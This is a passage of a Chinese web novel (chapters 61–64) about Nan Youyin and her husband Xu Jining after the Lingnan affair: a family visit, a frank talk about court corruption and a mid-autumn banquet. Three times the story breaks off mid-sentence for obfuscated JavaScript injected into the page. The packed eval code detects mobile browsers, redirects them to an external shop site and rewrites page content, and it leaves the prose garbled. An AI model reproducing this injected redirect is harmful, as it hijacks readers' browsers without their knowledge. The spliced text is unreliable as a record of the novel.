“太太,我知道京城里高门贵族夫妻大多没什么感情,只是门当户对的亲事,”南有音脸有点红,沮丧道,“但是是跟不喜欢的人,实在做不来那种事儿。” 南有音把徐夫人过去教育徐寂宁的话说完了,叫徐夫人无话可说了。 但这次徐夫人没再拿出“大家都这样”或者“向来如此”的话继续反驳南有音,而是反问她道:“你怎么肯定没有感情?” 南有音闷声道:“经历生死过,自然有感情,但顶多是同甘共苦的朋友罢了。” 南有音觉得她说了也是白说,徐夫人怎么会理会她这一套朋友理论呢。 果然徐夫人又被她逗得笑了,大概是觉得她幼稚可笑。 “岭南一趟,寂宁回来后跟过去不一样了,”徐夫人笑够了之后又耐心解释道,“他现在为了你,连不举这种借口都能说得出来,有音,天底下没有男子愿意说出这种话。” “我知道……”南有音有点动摇,南老爷愿意为了无法生育的南夫人说出这样的话,毫无疑问是因为他不愿自己深爱的妻子受到半点非议。 那徐寂宁呢? 南有音走出徐夫人的院子后陷入了迷茫。 徐夫人告诉她徐寂宁变了,说徐寂宁心里有她,但她拿不准徐夫人是有意凑合还是事实确实如此,于是她决定等徐寂宁回家后亲自问问他。 但左等右等,没有等到徐寂宁,却等到了宫里传来的消息,徐寂宁岭南有功,连升数阶,还送来了不少赏赐。 这些好消息让徐府上下都一片欢欣,南有音也跟着高兴起来,只是一直到天黑,论功行赏的主角徐寂宁都没有回府。 南有音猜测徐寂宁升官了有事要忙,与松梯说了会儿话,又翻了翻三姐徐静祺留在竹箱子里的话本,渐渐犯困,打算睡了时,门外却又有动静。 徐寂宁拖着脚步,无比沉重地走进了卧室。 “你回来啦?听说你升官啦,恭喜恭喜!不过我还有其他的事要问你,太太说你——”南有音从床上爬起来,却看到徐寂宁脸上毫无喜色,反而异常惨白,惊道,“你这是怎么了?” 刚升了官的徐寂宁坐在床边,怔怔盯着南有音,眼睛里布满了细细的血丝,他哑着声音说道:“皇上说要处死所有与永安王有关的人,所有的家眷,官吏,甚至百姓,我看到名单上有——” 徐寂宁咬着嘴唇嘶声道::“有阮氏一家老小。 “我向皇上求情了,”他的手不由自主地攥成拳头,指节发白,“我恳请他不要滥杀无辜……” “但皇上说,没有无辜的人,”徐寂宁声音颤抖,“我说永安王有罪无罪也是陛下说了算,更何况岭南百姓……” 他没再说皇帝的反应,南有音只看着他灰暗无神的眼睛就知道了结果。 忽然间,夏末秋初燥热的夜晚无比的寒凉起来。 61. 金声 八月初,徐寂宁终于得空,能跟着南有音一起去一趟京郊南家。 照旧是坐马车,只是这一次的马车格外拥挤,除了南有音和徐寂宁,还有他们的两个小侄儿徐甲徐乙,以及松梯。 南晨颂一家也是照旧在门口迎接,徐寂宁隔着马车门帘远远看到了南玉振那高挑的身影,心中打怵。 上两次跟南有音回南家,每次还没进门,南玉振那张嘴就先叫他下不来台。 这次徐寂宁小心翼翼,边边角角都做得周全仔细,认认真真地搀着南有音下了马车,接下两个小侄子,最后又扶着松梯下车。 这次南玉振依旧抱着胳膊审视徐寂宁,轻哼了一声,似是又要说什么刻薄话,但当视线落在姐姐南有音身上时,他脸上讥讽的神情消散了,转而变得惊恐且惊讶,声音很响亮地问道:“姐姐,你怎么晒得这么黑了?” 南有音闻言一怒:“黑了就黑了,你非得说得这么大声吗?” 南老爷一直提心吊胆,这次南玉振终于没再针对女婿,而是与女儿斗嘴,他擦了擦额头的汗,随便说了几句场面话,急忙请众人进屋说话了。 南老爷与徐寂宁在屋内喝茶,南夫人则拉着南有音两个粉雕玉琢的小侄子在院子里玩。 南夫人没生养过小孩,南有音与南玉振被她收养时年纪都不小了,故而见到三四岁的小孩,高兴得不得了,找来各种蜜饯点心,哄得两个小娃娃一声连着一声,不住嘴地喊外婆。 南夫人简直心花怒放,只觉得家中多了两个小娃娃,一切都生机勃勃的,仿佛墙角那棵今夏旱死的流苏树都立马活过来了。 她忍不住问说道:“有音,什么时候你也带着你和寂宁的孩子来,那咱家得多热闹呀!” 她指着院子里几颗新种的石榴:“我叫你爹栽的石榴,都说石榴多子,你看,这小树苗上已经坐住不少果子了,肯定是好兆头,你和寂宁怎么样啦?你的肚子有没有动静?” 南有音瞬间头大,在徐府应付徐夫人就够了,回家还要应付自己的母亲。 她借口天热口渴,脚底抹油往东厢房溜,远远就看到南玉振在东厢房的屋檐底下站着,正跟松梯说话,松梯则是刚从东厢房取了纸笔,准备替陪着小孩玩的南夫人清点记录徐府送来的礼品。 南玉振跟松梯看起来已经很熟识了,直接抱怨跟松梯好久没见了。 松梯很温和的笑,说七月初太太派她来给南夫人送南有音即将回京的消息,那时分明刚见了。 南玉振夸张地叫道:“刚见?分明都快过了一个月了!” 松梯抿着嘴笑。 南玉振又问:“对了,那日我带你去街上玩,你回去可晚了?徐夫人有没有责罚你?” 松梯摇摇头,回答道:“太太只问我怎么路上耽误了,我说同你多说了会儿话,她便也没再说什么。” 南玉振道:“那就好,我听说徐太太很是严厉,倒是一直挂记你再受罚,要是你因此受罚,我可再也不敢带你去街上玩啦。” “什么时候的事?你们两个还一块逛街啦?”南有音突然冒出来,将两人都吓了一跳。 南有音被两人脸上大惊失色的神情逗乐了,咯咯笑道:“不至于吧,我这么大个人从那边走过来,你两个看什么呢,看不到我。” 松梯的两颊泛着淡淡的红晕,说自己要清点礼品,先告退了。 南玉振也有点讪讪的。 南有音好久没见自家弟弟,抬手比量自己跟他的身高,惊讶他又长高了,半玩笑半挖苦道:“你这是要窜上天呀,再过个把月,小心别把屋顶给顶破了。” 南玉振毫不留情地反击道:“窜上天至少大家都能看到,不像你,天黑了就不见人了。” 南有音听出弟弟在嘲笑自己晒得跟黑炭一样,气恼地捣了他一拳。 但拳头即将触及衣料时,南玉振非常敏捷地抓住了她的手腕。 南有音挣扎未果,南玉振洋洋得意地将她的手腕拉到头顶,像是在炫耀自己力气大。 南有音也很无奈,自从十四岁之后,打架方面她是再也没赢过南玉振。 她泄了气,南玉振一脸得意的笑,视线却忽然停在了姐姐的手上,莫名其妙地愣住了。 南有音当机立断,趁他无缘无故地发呆,迅速抽手,终究是结结实实给了弟弟一拳。 南玉振一反常态地被南有音打了一个踉跄,但仍是一副木木愣愣的样子。 南有音疑心这是弟弟新想出来的坏心眼,故意装得傻傻的,好趁她放松警惕时袭击她。 于是她又给了南玉振一下。 结果南玉振又后退了一步,眼神直勾勾的,神情很怪,很突兀地问道:“姐姐,去岭南很苦吧?” 南有音不太在意地随便答道:“还好吧。” 南玉振仍旧怔怔的,眉梢微微抖动,看上去眼圈有点红,仿佛有些于心不忍一般的模样。 南有音觉得奇怪,不轻不重地锤了他一下:“你到底发什么愣?我就算晒得再黑,也不至于跟酱油一个颜色吧,值得你那么吃惊。” “不光是黑了,还有瘦了。” “夏天嘛,黑点瘦点都很正常。” 南玉振似乎不满于姐姐的轻描淡写,执拗道:“你一路上一定吃了不少苦。” 南有音对弟弟的话语有些摸不着头脑,说道:“出门在外,辛苦一点也是难免。” 南玉振重新拉起她的手腕,强迫她摊开掌心,用一种近乎质问的语气问道:“你的手又是怎么回事?这可不止是辛苦,你干什么重活了?” 南有音立刻道:“没做什么呀。” 她在末山码头做活时被麻绳搓破了手,如今早就好了,只留下一点细微的白色伤痕,也不晓得南玉振眼怎么那么尖,什么都看得出来。 南玉振用他那双与南有音一样明亮的眼睛盯着自己的姐姐。 片刻后,南有音投降了:“好吧,是在码头做了一两天的粗活儿,在末山的时候没钱了,实在没办法了嘛。” 南玉振面色不善:“那徐寂宁管着干什么去了?” 南有音立刻补充道:“徐寂宁也去码头了呀,而且你看看他就知道,我还算好的,他明显瘦得更厉害,一路上又是瘸腿又是伤到手又是生病的,我可比他好太多了。” 但南玉振并没有被南有音安慰到,他恶狠狠道:“他一路上生病瘸腿,还不是要连累你照顾他!” 南有音的眉毛不自在地挑了一下:“唔……” “我才不管徐寂宁怎么样了,他是瘦是胖都不管我的事!”南玉振怒气冲冲,“只是连累你跟着他受苦!” 他忽然皱眉,抬手摸了摸南有音的额角,好像有些气愤:“这又是怎么搞得?” 南有音额角厚厚一层脂粉下藏着一道疤痕,是她在鲁蝶岛时磕到脑袋留下了,现下已经好的差不多了,只剩一道极浅的痕迹,即便不敷脂施粉连她自己也看不太出来。 她纳闷弟弟是怎么看出来的,在弟弟的追问下说道:“不小心磕的。” “怎么磕的?” “都说了是不小心磕的了,你管那么多干什么?” 南玉振声音却有些颤抖:“你在岭南一定吃了不少苦,我还听说你被困在孤岛上了——” “是不是我差一点儿就再也见不到你了?”他眼底的恐慌很明显,声音虚弱乏力,仿佛问出这个问题就需要消耗大量的勇气。 这一次南有音没再反驳,她没法否认在孤岛时她也这样想过。 她最终轻声对南玉振说道:“反正都过去了,我现在还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我……”南有音一瞬间的慌乱,她暼开飘摇烛火似得目光,小声道,“当然没有!” 南玉振不假思索道:“那就回家吧,我不会让你掉眼泪的,我会照顾好你。” 在眼眶里打转的泪珠还是调皮又不给面子的掉了下来,南有音迅速擦了,带着湿漉漉地眼睫毛微微笑道:“可是玉振,你用什么养我呀,这个家不能总靠爹一个人,他年纪也大了……” 一种由内而外的无力感压下,压得南玉振眼底的焰火都黯淡了许多,他不由得低下了头,攥紧了拳头。他是很清楚自己的能力,科举是考不上的,其余的…… 南有音劝道:“你好好读书吧,等有一天,你出人头地了,我也会高兴的。” 她抽了抽鼻子,转移了话题,语气重新轻快起来:“对了,我在我的两个小侄子面前将你吹嘘了一番,说你上墙揭瓦上树掏鸟样样精通,现在他们两个吵着要你教他们爬树呢!” “教那两个小不点儿?”南玉振扭头看了一眼院子,南夫人和松梯正陪着徐甲徐乙在阳光下玩木头人的游戏,他有点不安道,“妈还在那儿,她要看到我爬墙上树的,又要训我。” 南有音道:“现在肯定不行,等到午饭过后,母亲歇息了,我和你就教两个小不点儿爬树。” “说起吃饭,”南玉振吞吞吐吐,“昨儿你写信说今天回家,又说想吃爹烙的饼……” “怎么了?” “你自己去厨房看看就知道了。” 虽说早有心理准备,当看到厨房厚厚一沓,足够三十个人吃的烙饼时,南有音还是狠狠地惊住了:“爹这是……” 南玉振马上道:“大概怕你不够吃吧。” 62. 有违 烙大饼的能手南老爷此时正在会客厅,面对着女婿徐寂宁,始终不如在灶台上一般游刃有余,有些紧张。 这份紧张来源于很多地方,有些源自于上次徐寂宁“大驾光临”与南玉振针锋相对,最终祸及池鱼,至使他喝得酩酊大醉,头疼了三天,也有些源自于徐寂宁是尚书之子,而他寂寂无名,官阶太高对他而言也是一种压迫,更多的紧张源自于南老爷不知道该跟这位姑爷说点什么,他不知道当下年轻官员的喜好,也不清楚徐寂宁喜欢听什么,这让南老爷招待这位姑爷时,口里时常发干,只是怕场面太冷,只好说些有的没的。 最重要的一点是,他想要讨好这位姑爷,然后凭借徐家的权势,为他不争气的小儿子安排个混吃混喝的闲职。 徐寂宁这在打量他这位丈人,眼前这个中年人脸冒着油汗,挂着非常谄媚的笑容,显然有些殷勤过头了,这一点从徐寂宁第一次来南家时就发现了。 但一直以来他不怎么在意这一点,因为从小到大,他见过太多有意讨好他的人了,他只当南老爷也是那些油滑官员之一,回以礼貌恭敬却也非常疏远的态度。 南老爷一直在说一些朝堂的事,但只说些细枝末节的琐碎事,徐寂宁听得乏味,他注视着那张堆满笑容的脸,始终很难将其与岭南一路上南有音所提到的南老爷联系起来。 南有音口里的南晨颂与他所见到的,分明是两种人。南有音口中的父亲疾世愤俗,常有些直至痛楚的惊世骇俗言论,但徐寂宁见到的南老爷老实圆滑,只挑些朝廷无关痛痒的问题,歌功颂德,称赞几句当今圣上,顺便再拍几句徐朗的马屁。 南晨颂察觉到了徐寂宁的倦怠,急忙打住,将话题从朝政转向了京城官员的婚丧嫁娶。 徐寂宁耐着性子听南老爷絮叨,喝了一杯又一杯的茶,他尝出这茶还是上次他带来的九曲红梅。 南晨颂确实足够圆滑,明明在说京城高官之间婚嫁趣事,说着说着竟然不着痕迹地夸起了徐寂宁,大言不惭地说京城多少青年才俊,在他看来都比不上徐寂宁一人。 徐寂宁被肉麻到鸡皮疙瘩都起来了。 南晨颂继续说道:“此次岭南之事,寂宁功劳颇大,听说永安王藏匿兵甲的场所就是你发现的,果然是胆略过人,有勇有谋,才能带着有音孤岛脱困,小女多亏你照顾……” 虽然被戴高帽的感觉挺不错,但实在是脱离现实太多了,徐寂宁听不下去了,有点窘迫。忍不住说道:“其实,是多亏了有音照顾。” 南老爷愣了一下,滔滔不绝的溢美之词卡壳了,但片刻后很快反应过来,继续说道:“阿音是个好姑娘,但在岭南,若无你智勇双全……” 南老爷又继续夸赞,又是为民除害歌功颂德的一套。 徐寂宁被说得头皮发麻,终于忍不住叫停,认真问道:“南老爷,您当真这样觉得吗?” 他实在怀疑这幅谄媚皮囊下真的藏有南有音口中描述的另一幅面孔么。 骤然被打断,南老爷眨眨眼,露出几丝疑惑,似乎在揣摩徐寂宁话里的意思。 他见徐寂宁一脸严肃,当下明了,微笑问道:“贤婿以为如何?” 徐寂宁略略挑拣着说了一点,南晨颂则起身关上了门窗,再坐下时脸上浅薄的笑容消失不见,那张国字脸变得庄正严肃,使得他整个人周身气质也都严正起来了。 南晨颂说道:“永安王是一位有德行的王爷,过去我就听说过他爱民如子体贴人民。” 徐寂宁问道:“可为什么皇帝非要除掉这样一位王爷呢?” “皇帝一直有着整顿地方的想法,岭南之事不过起了个头罢了,”南晨颂很直接的指出,“若说诸多藩王中为何德行操守永安王偏遭此难,其余鱼肉百姓的反而没事,只是因为他当真爱护百姓,使得岭南人只知永安而不知京城天子,皇上怎么会容忍。” 徐寂宁哑然:“那为官做宰,究竟是为了百姓还是……陛下?” 徐寂宁问出的这个问题使得南晨颂脸色浮现出了幽微的笑容,既像是赞许的意思,又像是同病相怜者在互相怜悯安慰。 南晨颂最终答道:“百官与皇帝之间从来复杂,皇帝执剑,百官可做剑刃亦可做剑鞘,有时皇帝无力,则百官执剑,朝中势力互为剑刃刀鞘,至于现在——” 南晨颂摇头道:“我猜你父亲也一定看得出来,当今圣上城府深沉,颇精权术,自从前些年抹除陆氏一族后,内外大权已经一手在握,如今百官,只是皇上握在手中的剑罢了。皇上执剑攻防,只是剑为利器,难免无意伤人,岭南百姓便是如此,皇帝挥剑永安,百姓无意被剑刃所及。” “伤及百姓……那除去永安王,对错功过又该如何分别……”徐寂宁细细的眉毛缠在一起,万般纠结。 “永安王的死已经铁板钉钉,况且鲁蝶岛的兵甲也是实实在在,莫要再为此伤神,朝廷为官,”南晨颂微微一叹,“岂能黑白分明。” 徐寂宁懂得南晨颂的意思,再纠结过去显然无用。 很快午饭端了上来,这一次的饭总算不像前两次一样风波不断,南玉振没有再劝酒,徐寂宁也没有再嫌弃饭菜粗糙。 饭毕,南老爷长舒一口气,悬着的心终于落进肚子里了。 徐寂宁没有放下刚刚岭南的话头,他记得南老爷是户部的,南有音曾向他吹嘘过自己父亲敏捷的计算能力,刚刚的一番谈话他也确信南晨颂确实见识不薄,于是他拿出了自己重新起草的有关岭南赋税改革的折子,请南晨颂指教。 南晨颂只粗略浏览一番,就指出了其中许多问题,徐寂宁一一记下,赞叹南晨颂能力的同时,又一次疑惑南家怎会如此清贫,尤其南晨颂才学过人,官职虽小却也是户部有名的肥差。 南晨颂点了几处改革关要之后,忽然问道:“寂宁,这折子你当真要上呈?” 徐寂宁困惑道:“您这样问,可是这折子有什么不妥之处?” “倘若这改革能行得通,自然能够利益岭南百姓,只是……”南晨颂沉吟道,“皇帝未必会答应这事,朝中势力盘根错节,倒也未必没有办法,若用上你父亲的势力,再加上些金银打点,或可一行。” 南晨颂平静的叙述使得徐寂宁呆住了,他惊讶地喃喃道:“拉帮结派,贿赂徇私……这些,这些……” 南晨颂则很宽和的笑了:“你还年轻,不懂这些也正常,在朝廷,为了达成目的,道德金钱乃至人命,都可以轻轻踢开。” “这……”徐寂宁不禁反驳,“大家都是读过圣贤书的,不至于这样……” 说道最后他自己也没有了底气。 南晨颂脸上浮现出一丝苦笑:“官场上能有几个干净的,我也……寂宁,你生在尚书府,这些事……” 他摇摇头,没再继续说下去。 徐寂宁脸色却渐渐灰白了,他杂乱地想着自己的父亲与哥哥,他不知道他们的手是否也沾染了铜臭和血迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445822|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么可能会是干净的呢?他后背陡然冒出一层汗,他分明自小就见惯了阿谀奉承,见惯了人情往来,他习以为常,便从不往那些角度去想,还能做出一副清高的样子……难怪……难怪有音会那样讨厌我…… “我明白你的想法,”南晨颂神情复杂,“当年我刚到京城时也是这样想的……” 南晨颂沉沉叹了口气:“你这张折子必然会与朝中其他人起冲突的。” 徐寂宁点点头:“但岭南的百姓需要改制。” “我知道的,为官者当以民为本,”南晨颂流露些许赞许,又继续温吞说道,“只是寂宁,不要再使有音受苦了,我只有这么一个女儿……” 他顿了一下,又轻声请求道:“……与一个不成器的儿子。” “我知道,”刚刚后背冒出的一层薄汗现在冷却下来,凉飕飕的,徐寂宁声音中带着一点不着痕迹的颤抖,“玉振的事,我会与父亲说……” 南老爷沉闷道:“玉振比有音执拗刚直得多,朝廷本不适合他,只是我也没有办法再替他找到其他的出路。” 刺耳的蝉鸣喧嚣不止,两人久久不语,屋内的空气凝涩滞胀,南老爷起身,要打开窗子,忽然听到徐寂宁低声道:“岭南一事,不知会有多少人殒命,我曾恳请陛下开恩,但……不知大人可有何教解……” “你在刑部当职,理应早早晓得皇帝之下,人命轻如草芥。”窗缝之间无比闪亮的阳光照射在南晨颂阴郁的脸庞上,刺得他睁不开眼。 “可是死掉的,总归是一条又一条的人命呀……”徐寂宁想到若干年后,史书记载这一段,除去永安王等,其余死去的人们,只会是一个模糊不清的数目,无人在意。 南老爷脸色流露出一瞬间的悲哀,轻叹道:“就是这样……真奇怪,寂宁,怎么还会有这样的想法?” 徐寂宁也奇怪自己的改变,过去他读书时只在乎那些丰功伟绩,从未想过一将功成万骨枯。或许是因为有音吧,岭南之旅,她让他发现百姓不止是书上奏折上两个空洞字眼儿,而是一个又一个,于苦难中生动而寂寞的生命。 徐寂宁满身冷汗,仿佛刚刚陷入了污泥之中,他推开屋门,初秋午后热烈的阳光直直射落,叫他睁不开眼,一片模糊之中,只听到朗朗笑声,他分辨出其中有南有音的声音,还有两个小侄子的声音。 他终于适应了屋外的明亮,湛蓝天空万里无云,他远远看到院角树荫下站着几个人,徐甲撅着屁股往树上爬,南玉振一巴掌拍下去:“小甲,说了多少次了,爬树不是屁股发力!” 南有音与抱着徐乙的松梯笑作一团,零星光线随着风动,透过树影落在她弯起的眼睛中,一闪一闪的,微波荡漾。 南有音忽然停住笑,她看到屋门口的徐寂宁了,招着手大声喊道:“快过来,你也跟着小甲一块儿学学!” 南玉振冷哼一声,讥讽道:“你要他学什么?学小甲撅屁股么?” 南有音没忍住笑得很大声。出于主仆情谊,松梯大概是想绷著脸不笑的,但反倒呛得弯腰捂嘴咳嗽起来,南玉振则轻拍她的后背,问她不要紧吧,松梯脸通红,一面咳一面推开南玉振,说没事儿。 两人之外,南有音仍旧笑着招手,歪着头,两眼弯弯似月牙:“徐寂宁,别发愣,快过来呀!” 一阵热风卷走了身上的冷汗,两肩俶尔少了重压,徐寂宁也轻轻笑着,朝着蓝天白云下,太阳一般的南有音走去。 63. 夜宴 临近中秋,巡按岭南的薛停回京了,霎时间成了朝廷炙手可热的红人,八月十五恰逢薛停小孙女百岁宴,一时间送礼递帖者无数,薛府上下人满为患。 徐府与薛府关系一直不差,曾经还论起儿女亲家来,只是随着徐静祺去世,两家长辈来往复归浅淡。此次徐寂宁在岭南颇得薛停照顾,不管是出于感激亦或是靠拢这位皇帝眼前的红人,徐府众人也参加了中秋夜宴。 望着薛府张灯结彩的大门,徐夫人偶尔也会有几分感慨。 她有五年没有来过徐府了,上次来时两家刚刚敲定了徐静祺与□□栩的婚事,她带着徐静祺来为薛夫人过生日,这次再来,庆祝□□栩第二个孩子的出生百日,陪在她身边的人也换成了南有音。 一进大门,男眷往前厅去,南有音则跟着徐夫人往后院走,一路上碰到不少官宦人家的夫人们,有与徐夫人相熟的,叫着她的闺名“径幽”笑着迎了上来。 见到薛家主母,徐夫人久别重逢似得迎了上去,两人拉着手,好似一对儿姐妹,说着各种客套话儿,其余穿着金丝银缎的夫人太太们围绕周围,一时花团锦簇。 大家聚在一起,吃酒赏月。 酒带着淡淡的甜味,不苦也不烈,南有音尝着好喝,暗暗多喝了几口,酒过三巡,方才觉出酒劲儿,脑袋晕晕的,胃里热热的,秋季本应凉爽的风也凝滞燥热起来。 诸位夫人们头上颈上的珠宝在灯火下闪着迷离的光泽,一片金山玉海,晃得南有音眼花缭乱的。胭脂水粉的味道与桂花浓重的香气掺在闷热的空气中,越闻越腻,南有音有点喘不上气,见徐夫人那边用不上她,偷偷溜走了。 她有点醉,只顾闷着头走,全然不知道自己走到什么地方去了,等回过神来时,只见四周一片金黄色的菊花,不由得懊悔刚刚不动脑子,现在可好了,迷路了。 她只好沿着菊花小径走,忽而听到了谈话声,心中一喜,循着声音找人,但那声音婉转哀切,像是抽泣。她在一丛菊花后发现了两个小姑娘,看打扮像是戏子,估计是请来的戏班子里的人。 花旦打扮的在哭,小生打扮的在安慰,那抽抽噎噎的声音叫人揪心,南有音蹲下身,问她们怎么了。 “我真恨那些人!”小花旦抽泣着恶声道。 南有音掏出帕子,递给哭化了妆的小花旦,叫她擦擦眼泪,同时问道:“哪些人?” “就是在台下听戏的那些达官显贵!” 或许是天黑的缘故,也或许是南有音蹲在她们身边太亲切的缘故,小花旦似乎没有发现南有音一身的绫罗绸缎,与台下的达官显贵一样。 小生拽着小花旦的袖子,低声急促道:“你可别说了。” “你怎么哭得这么伤心?”南有音问道,“他们有人欺负你了吗?” “他们,他们好瞧不起人,拿我们取笑,”小花旦指着小生道,“她在戏里演的书生中了状元,台下的官老爷见她唱的好,要给赏钱,问她是想扮状元,还是想当真状元,她说想读书识字,那些官老爷一个一个好像见了天底下最滑稽的事一样,哈哈大笑,还说什么下九流最是低贱、痴心妄想、癞蛤蟆想吃天鹅肉的话,我实在气不过……” 小生无奈摇头:“别哭啦,他们说得又没错,说得是我又不是你,你哭什么呀,况且也有人站出来替咱们说话了,再说了,他们笑归笑,给的赏银确实也不少,够给你买身新衣服啦。” 小生用帕子轻轻擦了擦小花旦的脸,温声道:“乖,不哭了,咱们去重新化妆,过会儿还要重新上台呢,在多攒些钱,你跟我就能有自己的家了。” “我就是气不过他们瞧不起咱们,”小花旦抹了一把泪,油彩全花了,像只花猫,“咱们当戏子难道是咱们想吗,他们的孩子一出生就是公侯子弟衣食不愁,咱们爹娘却要为了衣食卖了我们,他们读书识字,便反过来笑话你想读书是痴心妄想。” “他们又没说错,”小生有点落寞,“咱们这种身份的,可不就是痴心妄想……” 小花旦又呜呜咽咽地哭了:“难不成出身差,真就什么也不行了!” “怎么会呢!”南有音兀得想起她初到京城受到那帮官宦子弟的嘲笑了,颇有几分激动,“我们和台底下那些官老爷一样两只眼睛一张嘴一个鼻子,都是人,有什么不一样?他们不过多读了几本酸书罢了,凭什么瞧不起别人,叫他们上台唱上几句试试,光听他们那些天天辩论这个议论那个的破锣嗓子吧,那才真叫人笑掉大牙。” 南有音语调尖酸刻薄,哄得小花旦笑出一个鼻涕泡,小生则立刻替她擦了。 “姐姐,你真这样觉得吗?我们跟他们能一样吗……”小生有点不好意思,“我只是一个唱戏的丫头,他们可都是朝廷的重官……” “那又怎么样呀!”南有音轻哼了一声,她大概是真的有些醉了,酒上了头,大声说道,“左右也不过一群四体不勤五谷不分的家伙罢了。只是他们为官做宰,手里有点权力,大家尊重他们,敬仰他们,他们享受百姓的供养,还真以为自己高人一等了。” “我的意思是……”小生窘迫极了,怯生生问道,“我想读书,这真的可以吗……” “有什么不可以,”南有音立刻说道,“那些达官显贵笑你读不了书,是他们狭隘无知,你看,他们读了那么多书,也不过如此,而你虽然不如他们有权有势,却仍想着读书,所以比起你来,他们可是差远了!说不定你去读书,远比他们读的好呢。” 小生笑了,圆圆的眼睛在黑暗中闪着光,但很快又暗了:“我哪有什么机会读书呀……我是个女孩,还是个唱戏的下九流,下贱的很……” 小花旦很生气:“别人这样说就够气人了,你怎么也这样说自己!” “你不要这样妄自菲薄,以后会有那么一天的,不管什么出身,不管男女,都可以读书……”南有音说道,但她其实不能确定未来的样子。 小生仰起脸,似是有点期待:“真的吗?真的能有那么一天吗?” 她轻声叹息:“只要能有那么一天就好,哪怕我活不到那一天,只要会有那么一天就好……” 南有音踌躇,她给不出肯定的答案,因为她也不知道究竟会不会有那么一天。 但有一个清朗的声音从背后传来:“日后一定会如此的。” 有人很是坚定地这样说道。 南有音回头,见到来人时刹那间脑海里只剩下一个想法——真是漂亮。 来者是一个衣着华丽,烨然若神的青年。 南有音想起那句“不见薛氏颜,不知美人面”,当即断定这位是薛家的人。 两个小戏子匆忙站起身:“二公子。” 小花旦一脸地愤懑,小生则惶恐的拉着她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445823|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生怕薛二公子听到了刚刚的谈话,降下什么惩罚。 薛二公子却对着小生微微笑道:“未来会有那么一天的,不分高低贵贱,无论男女老少,都可以读书深造。” 小生的两只眼陡然亮了起来,像是夜色中的星光,她过会儿还要登台,拉着小花旦向着南有音与□□栩分别行了礼告退。 两人走远后,南有音与□□栩打量着彼此,南有音骤然看到玉山一般的人,惊艳到说不出话,最后还是□□栩先开的口:“这位姑娘,你是?” 南有音说了自己的名字,□□栩仍是困惑,于是她又说了徐府,连着徐老爷的官职带着徐寂宁的,好长一串。 □□栩知道了她的身份,依照京城的繁文缛节,客套恭维了几句,南有音没有理会,而是满怀期待地问他:“真有人人皆可读书的一天吗?你怎么知道会有那么一天的?难不成是朝廷下了什么命令,我听徐寂宁说起过你,你在礼部,你是不是得知了什么科考的新消息?” □□栩失笑:“我虽在礼部任职,但徐大人是我的长官,若真有什么消息,总该是他先知道,轮不到我。” “唔,也是,”南有音略感尴尬,揉了揉太阳穴,喝得有点醉了,竟忘了徐老爷才是礼部的主事人了。 “那你怎么知道以后大家都可以读书的呢?”她又追问道。 但□□栩却盯着她,突兀说道:“你与音极确实像是一对夫妻。” 南有音大脑迟钝地转动了好久,才反应过来音极是徐寂宁的字,她一直奇怪徐寂宁怎么起了这么一个离奇的字。 □□栩继续说道:“方才那小生说要读书,满座皆笑,唯有音极站出来说话,说一屋子的男人,笑两个小姑娘算什么话,他说好学之心,人皆有之,戏子想要读书又有何不可。” “他当真这样说?”南有音愣愣的,一些思绪若隐若现地浮上心间脑海。或许徐寂宁确实变了不少,似乎没有那么的高高在上了。 □□栩点头,又笑道:“不过我刚刚听姑娘的话,倒觉得比他还要犀利几分。” 南有音刚刚痛斥了当官的,她可不想被抓住把柄,立即说道:“你不要答非所问,我在问你为什么断定日后会不论出身地位,不论男女老少都可以读书?” □□栩似乎不怎么想谈及,奈何南有音揪住不放,只好无奈地笑了一下:“你既是徐家的,知不知道徐家三小姐徐静祺?” “当然知道呀,三姐姐嘛。”南有音奇怪道,“这跟她有什么关系?” “有没有人说过,你与她有一点相似,”□□栩淡淡笑道,“刚刚你与小戏子说得话,很像她会说得话。” 南有音说道:“她确实对我弟弟说过差不多的话。不过你提三姐做什么?” “你在徐府没有听到一点风声吗?”□□栩苦笑道,“静祺说她自己来自于另个一世界,一个几百年后的世界。” 南有音瞪大了眼,无比怀疑自己醉的不轻,耳朵听到了一个蹩脚的玩笑。 “我没开玩笑,就是那个意思。静祺是来自另一个时空的人,”□□栩追忆道,“那个词叫什么来着……对了,她说她是‘穿越’到这个朝代的,她是见过未来的人,她说未来会是我刚刚描述的样子。” 南有音匪夷所思,惊恐地看着眼前人,满脑子只有一个想法,这样好看的人,怎么偏生是个疯子。 64. 动心 南有音正纳罕眼前玉树临风的青年是个疯子,忽然听到了无比熟悉的声音。 徐寂宁出现在花园小径,松了一口气般说道:“有音,可算找到你了。” □□栩冲他微微一笑,打了声招呼。 徐寂宁则冷淡地冲着□□栩一拱手:“薛二公子。” □□栩大概想同徐寂宁说几句客套话,但徐寂宁拉着南有音转身就走了。 南有音有那么一点依依不舍,而这莫名其妙的丁点儿伤感产生的原因可能仅因为□□栩过于的帅气,不是一般的好看,过了这家就没这店了。 